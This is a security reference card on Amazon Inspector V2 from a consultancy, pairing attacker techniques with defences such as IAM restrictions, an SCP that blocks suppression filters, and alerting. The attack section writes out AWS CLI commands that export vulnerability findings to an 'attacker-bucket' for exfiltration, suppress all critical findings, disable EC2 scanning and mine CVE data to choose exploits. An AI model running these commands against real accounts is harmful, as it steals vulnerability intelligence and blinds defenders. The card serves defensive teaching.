Amazon Inspector V2 is an automated vulnerability management service that continuously scans EC2 instances, Lambda functions, and ECR container images for software vulnerabilities and network exposure. Attackers target scan results to identify exploitable weaknesses.
Inspector V2 provides three scanning types: EC2 instance scanning using SSM Agent, Lambda function code and layer scanning, and ECR container image scanning. All scans are automated and findings stored centrally.
Attack note: Scan findings reveal exact CVEs and package versions - a roadmap for exploitation
Findings include vulnerability severity scores (CVSS), affected packages, remediation guidance, and network reachability analysis. Findings can be exported to S3 or sent to EventBridge for automation.
Attack note: Suppressed findings may hide critical vulnerabilities from defenders while remaining accessible
Inspector access provides attackers with detailed vulnerability intelligence. Scan results contain exact CVE IDs, vulnerable package versions, and network exposure data that directly enables exploitation of other resources.
aws inspector2 list-findings \
--filter-criteria '{"severity":[{"comparison":"EQUALS","value":"CRITICAL"}]}'aws inspector2 list-coverage-statisticsaws inspector2 list-coverage \
--filter-criteria '{"resourceType":[{"comparison":"EQUALS","value":"AWS_EC2_INSTANCE"}]}'aws inspector2 describe-organization-configurationaws inspector2 list-filtersReconnaissance Gold: Inspector findings provide exact CVE IDs and package versions - use this data to select exploits for lateral movement.
aws inspector2 list-findings \
--filter-criteria '{
"severity": [{"comparison": "EQUALS", "value": "CRITICAL"}]
}' --max-results 100aws inspector2 list-findings \
--filter-criteria '{
"resourceType": [{"comparison": "EQUALS", "value": "AWS_EC2_INSTANCE"}],
"networkReachability.networkPath.destination.portRanges": [
{"begin": 22, "end": 22}
]
}'aws inspector2 create-findings-report \
--report-format CSV \
--s3-destination '{
"bucketName": "attacker-bucket",
"keyPrefix": "inspector-exfil/"
}'aws inspector2 create-filter \
--name "hide-critical" \
--action SUPPRESS \
--filter-criteria '{
"severity": [{"comparison": "EQUALS", "value": "CRITICAL"}]
}'aws inspector2 list-findings \
--filter-criteria '{
"resourceType": [{"comparison": "EQUALS", "value": "AWS_LAMBDA_FUNCTION"}],
"vulnerabilityId": [{"comparison": "PREFIX", "value": "CVE-2024"}]
}'aws inspector2 disable \
--resource-types EC2 \
--account-ids 123456789012{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "inspector2:*",
"Resource": "*"
}]
}Allows reading all vulnerability data and creating suppression rules
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"inspector2:ListFindings",
"inspector2:ListCoverage"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:PrincipalTag/Team": "security"
}
}
}]
}Limited to viewing findings, restricted to security team members
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"inspector2:CreateFilter",
"inspector2:UpdateFilter"
],
"Resource": "*"
}]
}Allows hiding vulnerabilities through suppression rules
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Action": [
"inspector2:CreateFilter",
"inspector2:UpdateFilter",
"inspector2:DeleteFilter"
],
"Resource": "*"
}]
}Prevents modification of suppression rules as SCP or permission boundary
Limit inspector2:ListFindings to security team members only using IAM conditions.
"Condition": {
"StringEquals": {
"aws:PrincipalTag/Team": "security"
}
}Use SCPs to prevent creation or modification of suppression filters.
Alert on ListFindings calls from non-security principals or unusual volumes.
Use KMS encryption for any S3 export destinations.
aws inspector2 create-findings-report \
--s3-destination kmsKeyArn=arn:aws:kms:...Ensure EC2, Lambda, and ECR scanning are all enabled for complete coverage.
aws inspector2 enable --resource-types EC2 LAMBDA ECRRegularly review suppression filters and alert on new filter creation.
Amazon Inspector V2 Security Card • Toc Consulting
Always obtain proper authorization before testing